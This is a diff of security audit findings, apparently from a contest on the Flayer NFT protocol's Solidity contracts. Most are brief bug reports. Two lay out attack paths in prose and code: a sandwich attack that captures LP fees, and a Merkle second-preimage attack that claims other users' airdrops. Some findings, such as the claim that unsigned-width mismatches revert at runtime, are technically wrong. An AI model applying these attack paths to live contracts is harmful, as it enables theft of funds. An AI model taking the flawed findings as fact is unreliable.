+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L43C3-L43C135
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L349C16-L349C124`
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/interfaces/IListings.sol#L56C2-L61C6
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Ensure that the data types in both the event and the contract are consistent. Depending on the intended design, either:
+
+1. Update the Event Definition: If the `floorMultiple` is supposed to be `uint16`, modify the event to expect `uint16` instead of `uint32`.
+```solidity
+event ListingFloorMultipleUpdated(address indexed _collection, uint _tokenId, uint16 _oldFloorMultiple, uint16 _newFloorMultiple);
+```
+
+2. Update the Contract: If the floorMultiple is supposed to be `uint32`, update the Listing struct and other relevant variables to use `uint32` instead of `uint16`.
+```solidity
+struct Listing {
+ address payable owner;
+ uint40 created;
+ uint32 duration;
+ uint32 floorMultiple; // Change this to uint32
+}
+
+```
\ No newline at end of file
diff --git a/298.md b/298.md
new file mode 100644
index 0000000..2f415e8
--- /dev/null
+++ b/298.md
@@ -0,0 +1,45 @@
+Funny Grape Ladybug
+
+High
+
+# Arithmetic underflow and type mismatch in refund calculation leading to transaction reversion
+
+## Summary
+An arithmetic overflow/underflow and type mismatch issue was identified in the calculation of `refund_` in `Listings::_resolveListingTax`, which can cause the contract to revert during execution. This vulnerability arises from mixing unsigned integer types of different sizes and performing unsafe arithmetic operations.
+
+## Vulnerability Detail
+The following line of code contains a potential vulnerability:
+
+```solidity
+refund_ = (_listing.duration - (block.timestamp - _listing.created)) * taxPaid / _listing.duration;
+```
+
+The key issues include:
+
+**1. Underflow Risk:** The operation `block.timestamp - _listing.created` can result in an underflow if `block.timestamp` is earlier than `_listing.created`. Since both variables are unsigned integers, underflows will cause the transaction to revert.
+
+**2. Type Mismatch:** The variables `_listing.duration` (uint32), `_listing.created` (uint40), and `refund_` (uint256) are of different types, leading to potential type mismatches when performing arithmetic. Solidity does not automatically cast between different unsigned integer types, causing runtime errors unless explicit casting is applied.
+
+## Impact
+- If the subtraction `block.timestamp - _listing.created` underflows, the transaction will revert, leading to a complete failure of the function execution. This would stop the intended logic and could cause disruption to users of the contract.
+- Type mismatch between unsigned integers of different sizes can also lead to reversion at runtime, further preventing successful execution of the contract.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L933C12-L933C112
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+1. Ensure explicit type casting to uint256 for all variables involved in the calculation to avoid type mismatch errors. Refactor the code as follows:
+
+```solidity
+refund_ = (uint256(_listing.duration) - (block.timestamp - uint256(_listing.created))) * uint256(taxPaid) / uint256(_listing.duration);
+```
+
+2. Consider adding checks to prevent potential underflow, such as:
+
+```solidity
+require(block.timestamp >= _listing.created, "Invalid timestamp: block.timestamp is earlier than creation time.");
+```
\ No newline at end of file
diff --git a/301.md b/301.md
new file mode 100644
index 0000000..5fa6b4c
--- /dev/null
+++ b/301.md
@@ -0,0 +1,42 @@
+Funny Grape Ladybug
+
+High
+
+# Tautological comparison will always result in true or false
+
+## Summary
+The comparison between `_initialCheckpoint.timestamp` and `_currentCheckpoint.timestamp` in the `TaxCalculator::compound` function is a tautological comparison. This means the condition will always be true or always false, making it redundant and possibly indicating a logical error in the code.
+
+## Vulnerability Detail
+The comparison:
+```solidity
+if (_initialCheckpoint.timestamp >= _currentCheckpoint.timestamp) {
+```
+
+is used to determine if the `_initialCheckpoint` timestamp is greater than or equal to `_currentCheckpoint` timestamp. However, if the timestamps are expected to be distinct and logically ordered (i.e., the current checkpoint should always have a timestamp greater than or equal to the initial checkpoint), this comparison becomes tautological.
+
+**Issues:**
+
+**- Redundancy:** If the timestamps are supposed to be in increasing order (i.e., `_initialCheckpoint.timestamp` should always be less than or equal to `_currentCheckpoint.timestamp`), this comparison is always true or false and hence redundant.
+**- Logical Error:** This comparison may indicate a misunderstanding of how timestamps are expected to be used, or it could imply a logical flaw in the contract's design.
+
+## Impact
+**Code Clarity:** The tautological comparison affects code clarity and readability, making it harder for developers to understand the intention behind the code.
+**Potential Bugs:** This issue could be symptomatic of a deeper logical flaw or incorrect assumptions in the code, potentially leading to incorrect behavior or results.
+**Gas Inefficiency:** Although this comparison itself does not significantly impact gas usage, redundant or unnecessary conditions can add to gas costs if the code becomes more complex.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/TaxCalculator.sol#L113C8-L113C76
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Update Comparison Logic: If the condition is needed, make sure the comparison is appropriate and reflects the intended logic. For instance:
+
+```solidity
+if (_initialCheckpoint.timestamp > _currentCheckpoint.timestamp) {
+ revert("Initial checkpoint timestamp is after the current checkpoint.");
+}
+```
\ No newline at end of file
diff --git a/302.md b/302.md
new file mode 100644
index 0000000..9bcf514
--- /dev/null
+++ b/302.md
@@ -0,0 +1,41 @@
+Funny Grape Ladybug
+
+High
+
+# Ignored return values in critical functions leading to potential state inconsistencies
+
+## Summary
+In multiple instances across the `Listings.sol` and `ProtectedListings.sol` contracts, return values from critical function calls, such as `createCheckpoint` and `_createCheckpoint`, are ignored. This could potentially result in the system proceeding with operations despite failures in creating checkpoints or handling listings. Ignoring these return values may lead to inconsistencies in the contract's state or operational failures that go unnoticed.
+
+## Vulnerability Detail
+Several function calls within the contract return values, but the returned values are not being checked or handled properly. Specifically, calls to the functions `createCheckpoint`, `_mapListings`, and `_createCheckpoint` are made without verifying whether they were successful. These functions could potentially fail, and without checking their return values, the contract could behave incorrectly while assuming the operations succeeded.
+
+## Impact
+**State inconsistencies:** If a checkpoint fails to be created, the contract may continue operations with outdated or incorrect data, leading to potential failures in subsequent logic.
+**Operational failures:** Undetected errors in handling listings or creating checkpoints may result in a breakdown of the contract’s functionality.
+**Security vulnerabilities:** If the failure to create checkpoints is critical to the system's integrity, attackers might exploit this to manipulate the contract’s state.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L162
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L202
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L467
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L603
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L325
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L481
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Add `requite` statement. For instance:
+```solidity
+bool success = protectedListings.createCheckpoint(listing.collection);
+require(success, "Checkpoint creation failed");
+
+```
\ No newline at end of file
diff --git a/303.md b/303.md
new file mode 100644
index 0000000..fd194fa
--- /dev/null
+++ b/303.md
@@ -0,0 +1,26 @@
+Funny Grape Ladybug
+
+Medium
+
+# Missing checks for address(0) will allow assignment of invalid addresses to state variables
+
+## Summary
+Several instances in the smart contracts are missing checks for the `address(0)` value when assigning values to address state variables. This oversight could lead to invalid or uninitialized addresses being assigned, which might cause unintended behavior or vulnerabilities in the contract.
+
+## Vulnerability Detail
+When assigning addresses to state variables, it's crucial to ensure that the assigned address is not `address(0)`, which is often used to represent an uninitialized or invalid address. Failing to perform this check can lead to situations where the contract behaves unexpectedly or insecurely.
+
+## Impact
+**Invalid Contract Interactions:** Assigning address(0) to state variables can result in invalid interactions with contracts, as function calls or operations involving these addresses would fail or produce unexpected results.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L990C9-L990C68
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L499
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+**Add Address Checks:** Implement checks to ensure that the address being assigned is not `address(0)`. Use require statements or equivalent checks to validate addresses before assigning them to state variables.
\ No newline at end of file
diff --git a/311.md b/311.md
new file mode 100644
index 0000000..93732f3
--- /dev/null
+++ b/311.md
@@ -0,0 +1,26 @@
+Funny Grape Ladybug
+
+High
+
+# `InfernalRiftAbove.sol` locks ether without a withdrawal function, preventing access to funds
+
+## Summary
+The contract `InfernalRiftAbove` accepts Ether but lacks a corresponding withdrawal function to allow for the recovery of locked funds. This issue results in Ether being locked in the contract, inaccessible for withdrawal or utilization, which can cause operational and financial concerns.
+
+## Vulnerability Detail
+Contracts that accept Ether typically include a withdrawal function to allow the contract owner or authorized users to reclaim any Ether that has been sent to the contract. The absence of such a function can lead to:
+
+**Locked Funds:** Ether sent to the contract cannot be recovered or used, potentially leading to loss of funds.
+
+## Impact
+**Inaccessibility of Funds:** Ether sent to the contract is locked and cannot be accessed or withdrawn, potentially resulting in financial loss.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L28
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+**Implement Withdrawal Function:** Add a public or external function to allow Ether to be withdrawn from the contract. This function should be secured with appropriate access control to prevent unauthorized withdrawals.
\ No newline at end of file
diff --git a/313.md b/313.md
new file mode 100644
index 0000000..fd6e940
--- /dev/null
+++ b/313.md
@@ -0,0 +1,25 @@
+Funny Grape Ladybug
+
+Medium
+
+# Using ERC721::_mint() can mint tokens to addresses that do not support ERC721
+
+## Summary
+The `ERC721::_mint()` function is used to mint ERC721 tokens but can pose risks if used improperly. Specifically, it allows minting tokens to addresses that might not be able to handle or recognize ERC721 tokens. This can lead to tokens being sent to incompatible addresses. To mitigate this risk, it is recommended to use `_safeMint()` instead of `_mint()`.
+
+## Vulnerability Detail
+The `ERC721::_mint()` function directly mints tokens without checking if the recipient address can handle ERC721 tokens. This can result in tokens being sent to addresses that do not support the ERC721 standard, potentially causing the tokens to be lost or becoming inaccessible.
+
+## Impact
+**Token Loss:** If tokens are minted to addresses that do not support the ERC721 standard, the tokens may become lost or inaccessible.
+**Operational Risks:** Using _mint() without ensuring compatibility can lead to operational issues, as the tokens may not be correctly managed or interacted with.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/libs/ERC721Bridgable.sol#L128
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Replace `_mint()` with `_safeMint()`: Update the contract to use `_safeMint()` instead of `_mint()`. This function provides a safety check to ensure that the recipient address can handle ERC721 tokens, reducing the risk of token loss.
\ No newline at end of file
diff --git a/314.md b/314.md
new file mode 100644
index 0000000..ded4ced
--- /dev/null
+++ b/314.md
@@ -0,0 +1,31 @@
+Amateur Cornflower Fish
+
+Medium
+
+# Cost of initializing is too high for some collections
+
+## Summary
+The only way to create and then initialize a collection is for the caller to deposit a minimum of 10 NFTs, without providing any additional benefits, which can be quite costly for some collections.
+## Vulnerability Detail
+When initializing a collection, the caller must transfer a [minimum of 10 NFTs](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L372-L373):
+
+```solidity
+ uint _tokenIdsLength = _tokenIds.length;
+ if (_tokenIdsLength < MINIMUM_TOKEN_IDS) revert InsufficientTokenIds();
+```
+
+There is no benefit whatsoever to the initializer, they are treated the same as any other user that wants to deposit/swap/list in the protocol. The issue is that some higher-cost collections can be quite costly to initialize. If we take for example the [20th](https://opensea.io/collection/basedapesgang) and [21st](https://opensea.io/collection/mochimonsbase) BASE top NFT collections we'll see the floor price is right around 0.20ETH, this means the first initializer needs to lock down a minimum of 2ETH/~$4700 just to use the protocol with that collection if it's not already initialized, yet providing no incentive to the first initializer.
+
+This means that seldom will top collections be integrated into the protocol unless the admins themselves make the initial deposit for them.
+## Impact
+Top collections are much less likely to be integrated into the protocol.
+## Code Snippet
+```solidity
+ uint _tokenIdsLength = _tokenIds.length;
+ if (_tokenIdsLength < MINIMUM_TOKEN_IDS) revert InsufficientTokenIds();
+```
+## Tool used
+Manual Review
+
+## Recommendation
+Lower the minimum or allow different users to all submit into a pot until 10 is reached and then the collection automatically initializes and mints collection tokens to the different depositors.
\ No newline at end of file
diff --git a/315.md b/315.md
new file mode 100644
index 0000000..ed97f9d
--- /dev/null
+++ b/315.md
@@ -0,0 +1,46 @@
+Careful Raisin Pheasant
+
+Medium
+
+# Reverting on Zero Address Transfers makes The CollectionToken not compliant with EIP-20
+
+### Summary
+The README clearly states the following
+
+>The CollectionToken should be strictly compliant with EIP-20
+
+The OpenZeppelin ERC-20 implementation (which the collection token inherits) will revert when a transfer to the zero address (address(0)) is attempted.
+
+According to the ERC-20 standard, the transfer() and transferFrom() functions must transfer the specified amount to the _to address and fire the Transfer event. Reverting when the _to address is zero conflicts with this requirement, as the tokens are not transferred as mandated.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/CollectionToken.sol#L6
+
+### Root Cause
+
+The OpenZeppelin implementation of _transfer() and the CollectionToken’s mint() method contain logic to revert when the to address is zero, preventing the transfer from being completed. This behavior does not align with the specification, which requires that tokens be transferred to the recipient address.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Non compliance with EIP-20
+
+Can have external integration issues
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Modify the _transfer() and mint() methods to allow transfers to the zero address
\ No newline at end of file
diff --git a/330.md b/330.md
new file mode 100644
index 0000000..d8c20f8
--- /dev/null
+++ b/330.md
@@ -0,0 +1,259 @@
+Shiny Mint Lion
+
+High
+
+# Due to the delay in converting token1 fees into token0 (WETH) fees in beforeSwap(), an attacker can execute a sandwich attack to gain risk-free profits.
+
+
+## Summary
+Due to the delay in converting token1 fees into token0 (WETH) fees in beforeSwap(), an attacker can execute a sandwich attack to gain risk-free profits.
+## Vulnerability Detail
+```javascript
+ /**
+ * Before a swap is made, we pull in the dynamic pool fee that we have set to ensure it is
+ * applied to the tx.
+ *
+@>> * We also see if we have any token1 fee tokens that we can use to fill the swap before it
+ * hits the Uniswap pool. This prevents the pool from being affected and reduced gas costs.
+ * This also allows us to benefit from the Uniswap routing infrastructure.
+ *
+ * This frontruns UniSwap to sell undesired token amounts from our fees into desired tokens
+ * ahead of our fee distribution. This acts as a partial orderbook to remove impact against
+ * our pool.
+ *
+ * @param sender The initial msg.sender for the swap call
+ * @param key The key for the pool
+ * @param params The parameters for the swap
+ * @param hookData Arbitrary data handed into the PoolManager by the swapper to be be passed on to the hook
+ *
+ * @return selector_ The function selector for the hook
+ * @return beforeSwapDelta_ The hook's delta in specified and unspecified currencies. Positive: the hook is owed/took currency, negative: the hook owes/sent currency
+ * @return swapFee_ The percentage fee applied to our swap
+ */
+ function beforeSwap(address sender, PoolKey calldata key, IPoolManager.SwapParams memory params, bytes calldata hookData) public override onlyByPoolManager returns (bytes4 selector_, BeforeSwapDelta beforeSwapDelta_, uint24 swapFee_) {
+ PoolId poolId = key.toId();
+
+ // Ensure our dynamic fees are set to the correct amount and mark it with the override flag
+ swapFee_ = getFee(poolId, sender) | LPFeeLibrary.OVERRIDE_FEE_FLAG;
+
+ // Load our PoolFees as storage as we will manipulate them later if we trigger
+@>> ClaimableFees storage pendingPoolFees = _poolFees[poolId];
+ PoolParams memory poolParams = _poolParams[poolId];
+
+ // We want to check if our token0 is the eth equivalent, or if it has swapped to token1
+ bool trigger = poolParams.currencyFlipped ? !params.zeroForOne : params.zeroForOne;
+@>> if (trigger && pendingPoolFees.amount1 != 0) {
+ // Set up our internal logic variables
+ uint ethIn;
+ uint tokenOut;
+
+ // Get the current price for our pool
+ (uint160 sqrtPriceX96,,,) = poolManager.getSlot0(poolId);
+
+ // Since we have a positive amountSpecified, we can determine the maximum
+ // amount that we can transact from our pool fees. We do this by taking the
+ // max value of either the pool fees or the amount specified to swap for.
+ if (params.amountSpecified >= 0) {
+ uint amountSpecified = (uint(params.amountSpecified) > pendingPoolFees.amount1) ? pendingPoolFees.amount1 : uint(params.amountSpecified);
+
+ // Capture the amount of desired token required at the current pool state to
+ // purchase the amount of token speicified, capped by the pool fees available. We
+ // don't apply a fee for this as it benefits the ecosystem and essentially performs
+ // a free swap benefitting both parties.
+ (, ethIn, tokenOut, ) = SwapMath.computeSwapStep({
+ sqrtPriceCurrentX96: sqrtPriceX96,
+ sqrtPriceTargetX96: params.sqrtPriceLimitX96,
+ liquidity: poolManager.getLiquidity(poolId),
+ amountRemaining: int(amountSpecified),
+ feePips: 0
+ });
+
+ // Update our hook delta to reduce the upcoming swap amount to show that we have
+ // already spent some of the ETH and received some of the underlying ERC20.
+ beforeSwapDelta_ = toBeforeSwapDelta(-tokenOut.toInt128(), ethIn.toInt128());
+ }
+ // As we have a negative amountSpecified, this means that we are spending any amount
+ // of token to get a specific amount of undesired token.
+ else {
+ (, ethIn, tokenOut, ) = SwapMath.computeSwapStep({
+ sqrtPriceCurrentX96: sqrtPriceX96,
+ sqrtPriceTargetX96: params.sqrtPriceLimitX96,
+ liquidity: poolManager.getLiquidity(poolId),
+ amountRemaining: int(pendingPoolFees.amount1),
+ feePips: 0
+ });
+
+ // If we cannot fulfill the full amount of the internal orderbook, then we want
+ // to avoid using any of it, as implementing proper support for exact input swaps
+ // is significantly difficult when we want to restrict them by the output token
+ // we have available.
+ if (tokenOut <= uint(-params.amountSpecified)) {
+ // Update our hook delta to reduce the upcoming swap amount to show that we have
+ // already spent some of the ETH and received some of the underlying ERC20.
+ // Specified = exact input (ETH)
+ // Unspecified = token1
+ beforeSwapDelta_ = toBeforeSwapDelta(ethIn.toInt128(), -tokenOut.toInt128());
+ } else {
+ ethIn = tokenOut = 0;
+ }
+ }
+
+ // Reduce the amount of fees that have been extracted from the pool and converted
+ // into ETH fees.
+ if (ethIn != 0 || tokenOut != 0) {
+@>> pendingPoolFees.amount0 += ethIn;
+@>> pendingPoolFees.amount1 -= tokenOut;
+
+ // Transfer the tokens to our PoolManager, which will later swap them to our user
+ if (poolParams.currencyFlipped) {
+ poolManager.take(key.currency1, address(this), ethIn);
+ _pushTokens(key.currency0, tokenOut);
+ } else {
+ poolManager.take(key.currency0, address(this), ethIn);
+ _pushTokens(key.currency1, tokenOut);
+ }
+
+ // Capture the swap cost that we captured from our drip
+ emit PoolFeesSwapped(poolParams.collection, params.zeroForOne, ethIn, tokenOut);
+ }
+ }
+
+ // Set our return selector
+ selector_ = IHooks.beforeSwap.selector;
+ }
+```
+If the fee is in token1, it will not be directly distributed to LP holders. Instead, it will wait until someone needs to buy token1, at which point token1 will first be swapped into token0. The distribution will only occur the next time _distributeFees() is triggered.
+```javascript
+ function _distributeFees(PoolKey memory _poolKey) internal {
+ // If the pool is not initialized, we prevent this from raising an exception and bricking hooks
+ PoolId poolId = _poolKey.toId();
+ PoolParams memory poolParams = _poolParams[poolId];
+
+ if (!poolParams.initialized) {
+ return;
+ }
+
+ // Get the amount of the native token available to donate
+@>> uint donateAmount = _poolFees[poolId].amount0;
+
+ // Ensure that the collection has sufficient fees available
+ if (donateAmount < donateThresholdMin) {
+ return;
+ }
+
+ // Reduce our available fees
+ _poolFees[poolId].amount0 = 0;
+
+ // Split the donation amount between beneficiary and LP
+ (uint poolFee, uint beneficiaryFee) = feeSplit(donateAmount);
+
+ // Make our donation to the pool, with the beneficiary amount remaining in the
+ // contract ready to be claimed.
+ if (poolFee > 0) {
+ // Determine whether the currency is flipped to determine which is the donation side
+@>> (uint amount0, uint amount1) = poolParams.currencyFlipped ? (uint(0), poolFee) : (poolFee, uint(0));
+@>> BalanceDelta delta = poolManager.donate(_poolKey, amount0, amount1, '');
+
+ // Check the native delta amounts that we need to transfer from the contract
+ if (delta.amount0() < 0) {
+ _pushTokens(_poolKey.currency0, uint128(-delta.amount0()));
+ }
+
+ if (delta.amount1() < 0) {
+ _pushTokens(_poolKey.currency1, uint128(-delta.amount1()));
+ }
+
+ emit PoolFeesDistributed(poolParams.collection, poolFee, 0);
+ }
+
+ // Check if we have beneficiary fees to distribute
+ if (beneficiaryFee != 0) {
+ // If our beneficiary is a Flayer pool, then we make a direct call
+ if (beneficiaryIsPool) {
+ // As we don't want to make a transfer call, we just extrapolate
+ // the required logic from the `depositFees` function.
+ _poolFees[_poolKeys[beneficiary].toId()].amount0 += beneficiaryFee;
+ emit PoolFeesReceived(beneficiary, beneficiaryFee, 0);
+ }
+ // Otherwise, we can just update the escrow allocation
+ else {
+ beneficiaryFees[beneficiary] += beneficiaryFee;
+ emit BeneficiaryFeesReceived(beneficiary, beneficiaryFee);
+ }
+ }
+ }
+
+```
+From _distributeFees(), we can also see that only token0 (WETH) is distributed to LP holders. token1 accumulates until the next time a user needs token1, at which point it is traded into token0 and added to amount0.
+
+However, the majority of our fees are earned through token1, such as in the Listings contract with functions like fillListings(), cancelListings(), modifyListings(), and _resolveListingTax(), among others.
+```javascript
+
+ function fillListings(FillListingsParams calldata params) public nonReentrant lockerNotPaused {
+ //--------skip---------
+ uint fillFee = _tload(FILL_FEE);
+ if (fillFee != 0) {
+ _collectionToken.approve(address(locker.implementation()), fillFee);
+@>> locker.implementation().depositFees(collection, 0, fillFee);
+ assembly { tstore(FILL_FEE, 0) }
+ }
+
+ }
+
+
+ function cancelListings(address _collection, uint[] memory _tokenIds, bool _payTaxWithEscrow) public lockerNotPaused {
+ //------skip--------
+ // Give some partial fees to the LP
+ if (fees != 0) {
+ collectionToken.approve(address(locker.implementation()), fees);
+@>> locker.implementation().depositFees(_collection, 0, fees);
+ }
+
+ }
+```
+Additionally, this includes the ProtectedListings contract’s liquidateProtectedListing() function, among others.
+```javascript
+ function liquidateProtectedListing(address _collection, uint _tokenId) public lockerNotPaused listingExists(_collection, _tokenId) {
+ //----skip------
+ // Send the remaining tokens to {Locker} implementation as fees
+ uint remainingCollateral = (1 ether - listing.tokenTaken - KEEPER_REWARD) * 10 ** denomination;
+ if (remainingCollateral > 0) {
+ IBaseImplementation implementation = locker.implementation();
+ collectionToken.approve(address(implementation), remainingCollateral);
+@>> implementation.depositFees(_collection, 0, remainingCollateral);
+ }
+
+ }
+```
+Attack scenario:
+
+ 1. The attacker notices a large accumulation of token1 fees.
+ 2. The attacker monitors for a swap transaction where token1 is being exchanged for token0.
+ 3. The attacker frontruns this swap transaction by providing a large amount of token0-token1 liquidity to the pool.
+ 4. After the swap is completed, the attacker removes the liquidity they just added. The attacker can then collect the corresponding portion of the fees in token0.
+
+Because during the liquidity removal callback, the distribution of token0 fees is triggered.
+```javascript
+function beforeRemoveLiquidity(address sender, PoolKey calldata key, IPoolManager.ModifyLiquidityParams calldata params, bytes calldata hookData) public override onlyByPoolManager returns (bytes4 selector_) {
+ // Distribute fees to our LPs
+ _distributeFees(key);
+
+ // Set our return selector
+ selector_ = IHooks.beforeRemoveLiquidity.selector;
+ }
+```
+
+Since this attack method carries no risk, the attacker can borrow large amounts of capital to capture the majority of the fees and repeat the attack multiple times.
+
+## Impact
+he attacker steals the majority of the fees through a sandwich attack, resulting in losses for the LP holders.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L490
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L308
+## Tool used
+
+Manual Review
+
+## Recommendation
+Consider directly distributing the token1 fees to LP holders.
\ No newline at end of file
diff --git a/337.md b/337.md
new file mode 100644
index 0000000..11bd2d4
--- /dev/null
+++ b/337.md
@@ -0,0 +1,165 @@
+Winning Juniper Ram
+
+High
+
+# Second Preimage Attack in `AirdropRecipient::claimAirdrop` function allows attacker to claim airdrops of other users
+
+### Summary
+
+The `AirdropRecipient::claimAirdrop` function is vulnerable to a "Second Preimage Attack" due to insufficient validation of leaf nodes in the Merkle tree. This type of attack occurs when an attacker is able to pass an `intermediate node` —which is 64 bytes long and composed of two 32-byte child hashes— as a `leaf node`. This shortens the Merkle tree and allows the attacker to bypass validation checks, ultimately gaining unauthorized access to airdrops.
+
+A Merkle tree's, `leaf nodes` should be constructed from raw data, such as the `IAirdropRecipient::MerkleClaim` struct `address recipient, address target, uint tokenId, uint amount`, and hashed with `keccak256` to produce a 32-byte long hash of the data. However, if `intermediary nodes` are accepted as valid `leaf nodes`, an attacker can manipulate the Merkle tree by submitting these `intermediary nodes` as input into the `claimAirdrop` function. This allows the attacker to reconstruct a valid Merkle root and claim airdrops intended for other users.
+
+More context on this attack vector can be found in this [RareSkills article](https://www.rareskills.io/post/merkle-tree-second-preimage-attack).
+
+This vulnerability can be avoided if the contract enforces that only 32-byte leaf nodes, derived from hashing raw data —e.g. `keccak256(abi.encode(MerkleClaim))`— are accepted into the function OR if the contract must handle 64-byte `_nodes`, the recommended mitigation is to apply a double-hashing mechanism to the `leaf nodes` input data before verifying them against the Merkle root. This ensures that `intermediary nodes` cannot be used to shorten the Merkle tree and bypass validation.
+
+### Root Cause
+
+The vulnerability stems from the way that the `AirdropRecipient::claimAirdrop` function verifies the Merkle root, proof, and leaves. The current implementation does not ensure that the `leaf nodes` passed during the claim process are raw data hashes (32 bytes). As a result, an attacker can pass `intermediary nodes` (64 bytes) as leaf nodes into the `claimAirdrop` function. This allows the attacker to bypass the tree's hierarchical structure, reaching the correct Merkle root without properly traversing the entire tree.
+
+By accepting `intermediary nodes` as `leaf nodes`, the contract allows an attacker to submit a shortened version of the Merkle tree that still hashes to the expected root. The lack of distinction between intermediary and leaf nodes creates an opening for this attack. The contract fails to properly verify that `leaf nodes` are constructed from the raw data, and does not hash the `_nodes` data twice before comparison, as recommended by OpenZeppelin for preventing "Second Preimage Attacks".
+
+You can see [here](https://github.com/OpenZeppelin/merkle-tree?tab=readme-ov-file#validating-a-proof-in-solidity) how OpenZeppelin does a double `keccak256` hashing of the input data before verifying the leaf.
+
+```solidity
+ function verify(...) public {
+ //..
+ bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(addr, amount))));
+ require(MerkleProof.verify(proof, root, leaf), "Invalid proof");
+ //..
+ //..
+ }
+```
+
+### Internal Pre-conditions
+
+- The `Locker` contract receives an airdrop and decides to distribute it to listing owners.
+- There is no explicit check to prevent passing `intermediary nodes` as `leaf nodes` into the `claimAirdrop` function.
+- The contract hashes the input `MerkleClaim calldata _node` only once instead of twice.
+- Lack of checks for `msg.sender`. The contract doesn't check if `msg.sender` is the intended airdrop recipient, `_node.recipient`.
+
+### External Pre-conditions
+
+- An attacker reconstructs `intermediary nodes` within the Merkle tree (e.g. the hash of two lower-level leaves).
+
+### Attack Path
+
+***1. Constructing the tree:*** Assuming the Merkle tree is built using raw data `recipient, target, tokenId, and amount` as the input to the leaves, an attacker can reconstruct the tree by concatenating and hashing adjacent leaf nodes and intermediary nodes.
+
+***2. Submitting an intermediary node as a leaf:*** By calling the `AirdropRecipient::claimAirdrop` function with an `intermediary node` as input instead of `leaf node` the contract will reconstruct the expected Merkle root, and the attacker bypassed the tree's hierarchical structure, reaching the correct Merkle root without properly traversing the entire tree.
+
+***3. Claiming airdrops with shorter Merkle trees:*** By exploiting the mismatch between the leaf node and the intermediary node they provided, the attacker can claim the airdrops on behalf of other users or for themselves.
+
+### Impact
+
+- If the `recipient` address in the `IAirdropRecipient ::MerkleClaim` struct is set to `msg.sender`, the attacker submitting the proof can straight up steal the airdrops of other users.
+
+- If the `recipient` is a smart contract that has custom `receive` or `fallback` functions for dealing with `ERC20, ERC721, ERC1155 or native` tokens, these functions can be triggered and lead to unexpected behavior.
+
+- Depending on the type of airdrop different transfer methods are used. In the case of `ERC721` tokens, the contract uses `transfeFrom` instead of `safeTransferFrom`. If the recipient is a smart contract that doesn't implement the `IERC721Receiver` interface and is not meant to handle `ERC721` tokens, these NFTs may be stuck in the contract.
+
+- In a real-world example, depending on the actual distribution mechanism of an airdrop, allowing another user to claim the airdrop on behalf of others can lead to unexpected outcomes such as stolen assets, loss of funds, or other damage to the airdrop distribution process.
+
+- Allowing a user can claim the airdrops on behalf of other users without needing prior approval can lead to ***confusion, panic, and reputational damage to the protocol***. Imagine that the airdrop is a big one such as the `OP` token, or `LayerZero` token, or OpenSea's `Gemesis` collection which had 100.000+ recipients. If user `A` claims the airdrops on behalf of `20.000` other users, all the `20.000` intended `recipients` will have failed transactions when they attempt to claim because the airdrop was already claimed, but they are unaware of it. Some of these users will hop into Discord and social media to complain, blame, and accuse the protocol of being scammed because they were not able to claim their airdrops which can cause a lot of reputational damage to the protocol. Furthermore, each case will need to be solved on a 1 by 1 basis so it will be a very time intensive and resource heavy process for the protocol team to deal with such a case.
+
+### PoC
+
+- The test cases provided in the codebase contain a Merkle tree that is constructed based on hashes of the raw data from the `MerkleClaim` structs, and not from the raw data itself. We can see this in the `AirdropRecipient.t.sol` file by looking at the `_setupMerkle` function.
+
+```javascript
+ function _setupMerkle() public {
+ // ERC20 setup
